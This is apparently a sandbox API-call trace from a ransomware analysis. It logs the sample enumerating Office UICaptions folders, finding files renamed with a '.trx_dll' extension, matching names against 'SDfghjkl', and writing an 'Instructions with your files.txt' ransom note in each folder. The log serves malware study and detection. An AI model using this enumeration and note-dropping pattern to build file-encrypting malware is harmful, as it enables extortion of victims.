[0131.856] FindNextFileW (in: hFindFile=0x876d38, lpFindFileData=0x22ce994 | out: lpFindFileData=0x22ce994*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xbf706700, ftCreationTime.dwHighDateTime=0x1cac81a, ftLastAccessTime.dwLowDateTime=0xef0a44f0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xbf706700, ftLastWriteTime.dwHighDateTime=0x1cac81a, nFileSizeHigh=0x0, nFileSizeLow=0x6960, dwReserved0=0x0, dwReserved1=0x0, cFileName="VISBRRES.DLL.trx_dll", cAlternateFileName="VISBRR~1.TRX")) returned 1
[0131.856] wnsprintfW (in: pszDest=0x22e0050, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\1036\\VISBRRES.DLL.trx_dll") returned 76
[0131.856] StrStrIW (lpFirst="VISBRRES.DLL.trx_dll", lpSrch="SDfghjkl") returned 0x0
[0131.856] FindNextFileW (in: hFindFile=0x876d38, lpFindFileData=0x22ce994 | out: lpFindFileData=0x22ce994*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x6a315700, ftCreationTime.dwHighDateTime=0x1cac814, ftLastAccessTime.dwLowDateTime=0xef0a44f0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x6a315700, ftLastWriteTime.dwHighDateTime=0x1cac814, nFileSizeHigh=0x0, nFileSizeLow=0x77560, dwReserved0=0x0, dwReserved1=0x0, cFileName="VISINTL.DLL.trx_dll", cAlternateFileName="VISINT~1.TRX")) returned 1
[0131.856] wnsprintfW (in: pszDest=0x22e0050, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\1036\\VISINTL.DLL.trx_dll") returned 75
[0131.856] StrStrIW (lpFirst="VISINTL.DLL.trx_dll", lpSrch="SDfghjkl") returned 0x0
[0131.856] FindNextFileW (in: hFindFile=0x876d38, lpFindFileData=0x22ce994 | out: lpFindFileData=0x22ce994*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xcb31c100, ftCreationTime.dwHighDateTime=0x1cacd25, ftLastAccessTime.dwLowDateTime=0xef0ca650, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xcb31c100, ftLastWriteTime.dwHighDateTime=0x1cacd25, nFileSizeHigh=0x0, nFileSizeLow=0x25b60, dwReserved0=0x0, dwReserved1=0x0, cFileName="WWINTL.DLL.trx_dll", cAlternateFileName="WWINTL~1.TRX")) returned 1
[0131.856] wnsprintfW (in: pszDest=0x22e0050, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\1036\\WWINTL.DLL.trx_dll") returned 74
[0131.856] StrStrIW (lpFirst="WWINTL.DLL.trx_dll", lpSrch="SDfghjkl") returned 0x0
[0131.856] FindNextFileW (in: hFindFile=0x876d38, lpFindFileData=0x22ce994 | out: lpFindFileData=0x22ce994*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xcb31c100, ftCreationTime.dwHighDateTime=0x1cacd25, ftLastAccessTime.dwLowDateTime=0xef0f07b0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xcb31c100, ftLastWriteTime.dwHighDateTime=0x1cacd25, nFileSizeHigh=0x0, nFileSizeLow=0x115b60, dwReserved0=0x0, dwReserved1=0x0, cFileName="WWINTL.REST.trx_dll", cAlternateFileName="WWINTL~2.TRX")) returned 1
[0131.856] wnsprintfW (in: pszDest=0x22e0050, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\1036\\WWINTL.REST.trx_dll") returned 75
[0131.856] StrStrIW (lpFirst="WWINTL.REST.trx_dll", lpSrch="SDfghjkl") returned 0x0
[0131.856] FindNextFileW (in: hFindFile=0x876d38, lpFindFileData=0x22ce994 | out: lpFindFileData=0x22ce994*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x6b688100, ftCreationTime.dwHighDateTime=0x1cac820, ftLastAccessTime.dwLowDateTime=0xef0f07b0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x6b688100, ftLastWriteTime.dwHighDateTime=0x1cac820, nFileSizeHigh=0x0, nFileSizeLow=0x25360, dwReserved0=0x0, dwReserved1=0x0, cFileName="XLINTL32.DLL.trx_dll", cAlternateFileName="XLINTL~1.TRX")) returned 1
[0131.856] wnsprintfW (in: pszDest=0x22e0050, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\1036\\XLINTL32.DLL.trx_dll") returned 76
[0131.856] StrStrIW (lpFirst="XLINTL32.DLL.trx_dll", lpSrch="SDfghjkl") returned 0x0
[0131.856] FindNextFileW (in: hFindFile=0x876d38, lpFindFileData=0x22ce994 | out: lpFindFileData=0x22ce994*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x6a375400, ftCreationTime.dwHighDateTime=0x1cac820, ftLastAccessTime.dwLowDateTime=0xef116910, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x6a375400, ftLastWriteTime.dwHighDateTime=0x1cac820, nFileSizeHigh=0x0, nFileSizeLow=0x137960, dwReserved0=0x0, dwReserved1=0x0, cFileName="XLINTL32.REST.trx_dll", cAlternateFileName="XLINTL~2.TRX")) returned 1
[0131.856] wnsprintfW (in: pszDest=0x22e0050, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\1036\\XLINTL32.REST.trx_dll") returned 77
[0131.856] StrStrIW (lpFirst="XLINTL32.REST.trx_dll", lpSrch="SDfghjkl") returned 0x0
[0131.856] FindNextFileW (in: hFindFile=0x876d38, lpFindFileData=0x22ce994 | out: lpFindFileData=0x22ce994*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xfe092000, ftCreationTime.dwHighDateTime=0x1cac820, ftLastAccessTime.dwLowDateTime=0xef116910, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xfe092000, ftLastWriteTime.dwHighDateTime=0x1cac820, nFileSizeHigh=0x0, nFileSizeLow=0x3d60, dwReserved0=0x0, dwReserved1=0x0, cFileName="XLSLICER.DLL.trx_dll", cAlternateFileName="XLSLIC~1.TRX")) returned 1
[0131.857] wnsprintfW (in: pszDest=0x22e0050, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\1036\\XLSLICER.DLL.trx_dll") returned 76
[0131.857] StrStrIW (lpFirst="XLSLICER.DLL.trx_dll", lpSrch="SDfghjkl") returned 0x0
[0131.857] FindNextFileW (in: hFindFile=0x876d38, lpFindFileData=0x22ce994 | out: lpFindFileData=0x22ce994*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xfe092000, ftCreationTime.dwHighDateTime=0x1cac820, ftLastAccessTime.dwLowDateTime=0xef116910, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xfe092000, ftLastWriteTime.dwHighDateTime=0x1cac820, nFileSizeHigh=0x0, nFileSizeLow=0x3d60, dwReserved0=0x0, dwReserved1=0x0, cFileName="XLSLICER.DLL.trx_dll", cAlternateFileName="XLSLIC~1.TRX")) returned 0
[0131.857] wnsprintfW (in: pszDest=0x22e0050, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\1036\\Instructions with your files.txt") returned 88
[0131.857] CreateFileW (lpFileName="\\\\?\\C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\1036\\Instructions with your files.txt" (normalized: "c:\\users\\all users\\microsoft\\office\\uicaptions\\1036\\instructions with your files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x118
[0131.857] WriteFile (in: hFile=0x118, lpBuffer=0xc338a8*, nNumberOfBytesToWrite=0x54, lpNumberOfBytesWritten=0x22ce974, lpOverlapped=0x0 | out: lpBuffer=0xc338a8*, lpNumberOfBytesWritten=0x22ce974*=0x54, lpOverlapped=0x0) returned 1
[0131.858] WriteFile (in: hFile=0x118, lpBuffer=0x82e75a*, nNumberOfBytesToWrite=0x18, lpNumberOfBytesWritten=0x22ce974, lpOverlapped=0x0 | out: lpBuffer=0x82e75a*, lpNumberOfBytesWritten=0x22ce974*=0x18, lpOverlapped=0x0) returned 1
[0131.858] WriteFile (in: hFile=0x118, lpBuffer=0xc33900*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x22ce974, lpOverlapped=0x0 | out: lpBuffer=0xc33900*, lpNumberOfBytesWritten=0x22ce974*=0xc, lpOverlapped=0x0) returned 1
[0131.858] WriteFile (in: hFile=0x118, lpBuffer=0x82e78c*, nNumberOfBytesToWrite=0x16, lpNumberOfBytesWritten=0x22ce974, lpOverlapped=0x0 | out: lpBuffer=0x82e78c*, lpNumberOfBytesWritten=0x22ce974*=0x16, lpOverlapped=0x0) returned 1
[0131.858] WriteFile (in: hFile=0x118, lpBuffer=0xc33910*, nNumberOfBytesToWrite=0x23, lpNumberOfBytesWritten=0x22ce974, lpOverlapped=0x0 | out: lpBuffer=0xc33910*, lpNumberOfBytesWritten=0x22ce974*=0x23, lpOverlapped=0x0) returned 1
[0131.858] CloseHandle (hObject=0x118) returned 1
[0131.858] FindClose (in: hFindFile=0x876d38 | out: hFindFile=0x876d38) returned 1
[0131.858] GetProcessHeap () returned 0x810000
[0131.858] HeapFree (in: hHeap=0x810000, dwFlags=0x8, lpMem=0x22e0050 | out: hHeap=0x810000) returned 1
[0131.858] FindNextFileW (in: hFindFile=0x876cf8, lpFindFileData=0x22cec24 | out: lpFindFileData=0x22cec24*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xeed38550, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xb2165b80, ftLastAccessTime.dwHighDateTime=0x1d5e184, ftLastWriteTime.dwLowDateTime=0xb2165b80, ftLastWriteTime.dwHighDateTime=0x1d5e184, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="3082", cAlternateFileName="")) returned 1
[0131.858] wnsprintfW (in: pszDest=0x22d0048, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\3082") returned 55
[0131.858] GetProcessHeap () returned 0x810000
[0131.859] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x8, Size=0xfffe) returned 0x22e0050
[0131.859] wnsprintfW (in: pszDest=0x22e0050, cchDest=32767, pszFmt="%s\\*" | out: pszDest="\\\\?\\C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\3082\\*") returned 57
[0131.859] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\3082\\*", lpFindFileData=0x22ce994 | out: lpFindFileData=0x22ce994*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xeed38550, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xb2165b80, ftLastAccessTime.dwHighDateTime=0x1d5e184, ftLastWriteTime.dwLowDateTime=0xb2165b80, ftLastWriteTime.dwHighDateTime=0x1d5e184, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x876d38
[0131.859] wnsprintfW (in: pszDest=0x22e0050, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\3082\\.") returned 57
[0131.859] FindNextFileW (in: hFindFile=0x876d38, lpFindFileData=0x22ce994 | out: lpFindFileData=0x22ce994*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xeed38550, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xb2165b80, ftLastAccessTime.dwHighDateTime=0x1d5e184, ftLastWriteTime.dwLowDateTime=0xb2165b80, ftLastWriteTime.dwHighDateTime=0x1d5e184, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
[0131.859] wnsprintfW (in: pszDest=0x22e0050, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\3082\\..") returned 58
[0131.859] FindNextFileW (in: hFindFile=0x876d38, lpFindFileData=0x22ce994 | out: lpFindFileData=0x22ce994*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x302da400, ftCreationTime.dwHighDateTime=0x1caca12, ftLastAccessTime.dwLowDateTime=0xeed38550, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x302da400, ftLastWriteTime.dwHighDateTime=0x1caca12, nFileSizeHigh=0x0, nFileSizeLow=0x3760, dwReserved0=0x0, dwReserved1=0x0, cFileName="ENVELOPR.DLL.trx_dll", cAlternateFileName="ENVELO~1.TRX")) returned 1
[0131.859] wnsprintfW (in: pszDest=0x22e0050, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\3082\\ENVELOPR.DLL.trx_dll") returned 76
[0131.859] StrStrIW (lpFirst="ENVELOPR.DLL.trx_dll", lpSrch="SDfghjkl") returned 0x0
[0131.859] FindNextFileW (in: hFindFile=0x876d38, lpFindFileData=0x22ce994 | out: lpFindFileData=0x22ce994*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x74912800, ftCreationTime.dwHighDateTime=0x1cac7f7, ftLastAccessTime.dwLowDateTime=0xeedf6c30, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x74912800, ftLastWriteTime.dwHighDateTime=0x1cac7f7, nFileSizeHigh=0x0, nFileSizeLow=0xb960, dwReserved0=0x0, dwReserved1=0x0, cFileName="GRINTL32.DLL.trx_dll", cAlternateFileName="GRINTL~1.TRX")) returned 1
[0131.859] wnsprintfW (in: pszDest=0x22e0050, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\3082\\GRINTL32.DLL.trx_dll") returned 76
[0131.859] StrStrIW (lpFirst="GRINTL32.DLL.trx_dll", lpSrch="SDfghjkl") returned 0x0
[0131.859] FindNextFileW (in: hFindFile=0x876d38, lpFindFileData=0x22ce994 | out: lpFindFileData=0x22ce994*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x74912800, ftCreationTime.dwHighDateTime=0x1cac7f7, ftLastAccessTime.dwLowDateTime=0xeedf6c30, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x74912800, ftLastWriteTime.dwHighDateTime=0x1cac7f7, nFileSizeHigh=0x0, nFileSizeLow=0x39960, dwReserved0=0x0, dwReserved1=0x0, cFileName="GRINTL32.REST.trx_dll", cAlternateFileName="GRINTL~2.TRX")) returned 1
[0131.859] wnsprintfW (in: pszDest=0x22e0050, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\3082\\GRINTL32.REST.trx_dll") returned 77
[0131.859] StrStrIW (lpFirst="GRINTL32.REST.trx_dll", lpSrch="SDfghjkl") returned 0x0
[0131.859] FindNextFileW (in: hFindFile=0x876d38, lpFindFileData=0x22ce994 | out: lpFindFileData=0x22ce994*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xb2165b80, ftCreationTime.dwHighDateTime=0x1d5e184, ftLastAccessTime.dwLowDateTime=0xb2165b80, ftLastAccessTime.dwHighDateTime=0x1d5e184, ftLastWriteTime.dwLowDateTime=0xb2165b80, ftLastWriteTime.dwHighDateTime=0x1d5e184, nFileSizeHigh=0x0, nFileSizeLow=0xb1, dwReserved0=0x0, dwReserved1=0x0, cFileName="Instructions with your files.txt", cAlternateFileName="INSTRU~1.TXT")) returned 1
[0131.859] wnsprintfW (in: pszDest=0x22e0050, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\3082\\Instructions with your files.txt") returned 88
[0131.859] StrStrIW (lpFirst="Instructions with your files.txt", lpSrch="SDfghjkl") returned 0x0
[0131.859] FindNextFileW (in: hFindFile=0x876d38, lpFindFileData=0x22ce994 | out: lpFindFileData=0x22ce994*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x302da400, ftCreationTime.dwHighDateTime=0x1caca12, ftLastAccessTime.dwLowDateTime=0xeee1cd90, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x302da400, ftLastWriteTime.dwHighDateTime=0x1caca12, nFileSizeHigh=0x0, nFileSizeLow=0x47d60, dwReserved0=0x0, dwReserved1=0x0, cFileName="MAPIR.DLL.trx_dll", cAlternateFileName="MAPIRD~1.TRX")) returned 1
[0131.859] wnsprintfW (in: pszDest=0x22e0050, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\3082\\MAPIR.DLL.trx_dll") returned 73
[0131.859] StrStrIW (lpFirst="MAPIR.DLL.trx_dll", lpSrch="SDfghjkl") returned 0x0
[0131.859] FindNextFileW (in: hFindFile=0x876d38, lpFindFileData=0x22ce994 | out: lpFindFileData=0x22ce994*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x58968200, ftCreationTime.dwHighDateTime=0x1cac809, ftLastAccessTime.dwLowDateTime=0xeee1cd90, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x58968200, ftLastWriteTime.dwHighDateTime=0x1cac809, nFileSizeHigh=0x0, nFileSizeLow=0xc160, dwReserved0=0x0, dwReserved1=0x0, cFileName="MOR6INT.REST.trx_dll", cAlternateFileName="MOR6IN~1.TRX")) returned 1
[0131.859] wnsprintfW (in: pszDest=0x22e0050, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\3082\\MOR6INT.REST.trx_dll") returned 76
[0131.859] StrStrIW (lpFirst="MOR6INT.REST.trx_dll", lpSrch="SDfghjkl") returned 0x0
[0131.859] FindNextFileW (in: hFindFile=0x876d38, lpFindFileData=0x22ce994 | out: lpFindFileData=0x22ce994*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x248aaf00, ftCreationTime.dwHighDateTime=0x1caca0b, ftLastAccessTime.dwLowDateTime=0xeee42ef0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x248aaf00, ftLastWriteTime.dwHighDateTime=0x1caca0b, nFileSizeHigh=0x0, nFileSizeLow=0x16f60, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSOINTL.DLL.trx_dll", cAlternateFileName="MSOINT~1.TRX")) returned 1
[0131.859] wnsprintfW (in: pszDest=0x22e0050, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\3082\\MSOINTL.DLL.trx_dll") returned 75
[0131.859] StrStrIW (lpFirst="MSOINTL.DLL.trx_dll", lpSrch="SDfghjkl") returned 0x0
[0131.859] FindNextFileW (in: hFindFile=0x876d38, lpFindFileData=0x22ce994 | out: lpFindFileData=0x22ce994*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x25bbdc00, ftCreationTime.dwHighDateTime=0x1caca0b, ftLastAccessTime.dwLowDateTime=0xeeeb5310, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x25bbdc00, ftLastWriteTime.dwHighDateTime=0x1caca0b, nFileSizeHigh=0x0, nFileSizeLow=0x2b2560, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSOINTL.REST.trx_dll", cAlternateFileName="MSOINT~2.TRX")) returned 1
[0131.859] wnsprintfW (in: pszDest=0x22e0050, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\3082\\MSOINTL.REST.trx_dll") returned 76
[0131.860] StrStrIW (lpFirst="MSOINTL.REST.trx_dll", lpSrch="SDfghjkl") returned 0x0
[0131.860] FindNextFileW (in: hFindFile=0x876d38, lpFindFileData=0x22ce994 | out: lpFindFileData=0x22ce994*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x3564d600, ftCreationTime.dwHighDateTime=0x1cac7fb, ftLastAccessTime.dwLowDateTime=0xeef27730, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x3564d600, ftLastWriteTime.dwHighDateTime=0x1cac7fb, nFileSizeHigh=0x0, nFileSizeLow=0xb360, dwReserved0=0x0, dwReserved1=0x0, cFileName="OMSINTL.DLL.trx_dll", cAlternateFileName="OMSINT~1.TRX")) returned 1
[0131.860] wnsprintfW (in: pszDest=0x22e0050, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\3082\\OMSINTL.DLL.trx_dll") returned 75
[0131.860] StrStrIW (lpFirst="OMSINTL.DLL.trx_dll", lpSrch="SDfghjkl") returned 0x0
[0131.860] FindNextFileW (in: hFindFile=0x876d38, lpFindFileData=0x22ce994 | out: lpFindFileData=0x22ce994*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x63b88300, ftCreationTime.dwHighDateTime=0x1cacf6a, ftLastAccessTime.dwLowDateTime=0xeef27730, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x63b88300, ftLastWriteTime.dwHighDateTime=0x1cacf6a, nFileSizeHigh=0x0, nFileSizeLow=0x7b60, dwReserved0=0x0, dwReserved1=0x0, cFileName="ONINTL.DLL.trx_dll", cAlternateFileName="ONINTL~1.TRX")) returned 1
[0131.860] wnsprintfW (in: pszDest=0x22e0050, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\3082\\ONINTL.DLL.trx_dll") returned 74
[0131.860] StrStrIW (lpFirst="ONINTL.DLL.trx_dll", lpSrch="SDfghjkl") returned 0x0
[0131.860] FindNextFileW (in: hFindFile=0x876d38, lpFindFileData=0x22ce994 | out: lpFindFileData=0x22ce994*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x62875600, ftCreationTime.dwHighDateTime=0x1cacf6a, ftLastAccessTime.dwLowDateTime=0xeef4d890, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x62875600, ftLastWriteTime.dwHighDateTime=0x1cacf6a, nFileSizeHigh=0x0, nFileSizeLow=0x3d960, dwReserved0=0x0, dwReserved1=0x0, cFileName="ONINTL.REST.trx_dll", cAlternateFileName="ONINTL~2.TRX")) returned 1
[0131.860] wnsprintfW (in: pszDest=0x22e0050, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\3082\\ONINTL.REST.trx_dll") returned 75
[0131.860] StrStrIW (lpFirst="ONINTL.REST.trx_dll", lpSrch="SDfghjkl") returned 0x0
[0131.860] FindNextFileW (in: hFindFile=0x876d38, lpFindFileData=0x22ce994 | out: lpFindFileData=0x22ce994*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x302da400, ftCreationTime.dwHighDateTime=0x1caca12, ftLastAccessTime.dwLowDateTime=0xeef4d890, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x302da400, ftLastWriteTime.dwHighDateTime=0x1caca12, nFileSizeHigh=0x0, nFileSizeLow=0x35960, dwReserved0=0x0, dwReserved1=0x0, cFileName="OUTLLIBR.DLL.trx_dll", cAlternateFileName="OUTLLI~1.TRX")) returned 1
[0131.860] wnsprintfW (in: pszDest=0x22e0050, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\3082\\OUTLLIBR.DLL.trx_dll") returned 76
[0131.860] StrStrIW (lpFirst="OUTLLIBR.DLL.trx_dll", lpSrch="SDfghjkl") returned 0x0
[0131.860] FindNextFileW (in: hFindFile=0x876d38, lpFindFileData=0x22ce994 | out: lpFindFileData=0x22ce994*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x302da400, ftCreationTime.dwHighDateTime=0x1caca12, ftLastAccessTime.dwLowDateTime=0xeef739f0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x302da400, ftLastWriteTime.dwHighDateTime=0x1caca12, nFileSizeHigh=0x0, nFileSizeLow=0x9f560, dwReserved0=0x0, dwReserved1=0x0, cFileName="OUTLLIBR.REST.trx_dll", cAlternateFileName="OUTLLI~2.TRX")) returned 1
[0131.860] wnsprintfW (in: pszDest=0x22e0050, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\3082\\OUTLLIBR.REST.trx_dll") returned 77
[0131.860] StrStrIW (lpFirst="OUTLLIBR.REST.trx_dll", lpSrch="SDfghjkl") returned 0x0
[0131.860] FindNextFileW (in: hFindFile=0x876d38, lpFindFileData=0x22ce994 | out: lpFindFileData=0x22ce994*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x315ed100, ftCreationTime.dwHighDateTime=0x1caca12, ftLastAccessTime.dwLowDateTime=0xeef739f0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x315ed100, ftLastWriteTime.dwHighDateTime=0x1caca12, nFileSizeHigh=0x0, nFileSizeLow=0x2d60, dwReserved0=0x0, dwReserved1=0x0, cFileName="OUTLWVW.DLL.trx_dll", cAlternateFileName="OUTLWV~1.TRX")) returned 1
[0131.860] wnsprintfW (in: pszDest=0x22e0050, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\3082\\OUTLWVW.DLL.trx_dll") returned 75
[0131.860] StrStrIW (lpFirst="OUTLWVW.DLL.trx_dll", lpSrch="SDfghjkl") returned 0x0
[0131.860] FindNextFileW (in: hFindFile=0x876d38, lpFindFileData=0x22ce994 | out: lpFindFileData=0x22ce994*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x1a4a9400, ftCreationTime.dwHighDateTime=0x1cac804, ftLastAccessTime.dwLowDateTime=0xef00bf70, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x1a4a9400, ftLastWriteTime.dwHighDateTime=0x1cac804, nFileSizeHigh=0x0, nFileSizeLow=0xd160, dwReserved0=0x0, dwReserved1=0x0, cFileName="PPINTL.DLL.trx_dll", cAlternateFileName="PPINTL~1.TRX")) returned 1
[0131.860] wnsprintfW (in: pszDest=0x22e0050, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\3082\\PPINTL.DLL.trx_dll") returned 74
[0131.860] StrStrIW (lpFirst="PPINTL.DLL.trx_dll", lpSrch="SDfghjkl") returned 0x0
[0131.860] FindNextFileW (in: hFindFile=0x876d38, lpFindFileData=0x22ce994 | out: lpFindFileData=0x22ce994*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x19196700, ftCreationTime.dwHighDateTime=0x1cac804, ftLastAccessTime.dwLowDateTime=0xef00bf70, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x19196700, ftLastWriteTime.dwHighDateTime=0x1cac804, nFileSizeHigh=0x0, nFileSizeLow=0x43560, dwReserved0=0x0, dwReserved1=0x0, cFileName="PPINTL.REST.trx_dll", cAlternateFileName="PPINTL~2.TRX")) returned 1
[0131.860] wnsprintfW (in: pszDest=0x22e0050, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\3082\\PPINTL.REST.trx_dll") returned 75
[0131.860] StrStrIW (lpFirst="PPINTL.REST.trx_dll", lpSrch="SDfghjkl") returned 0x0
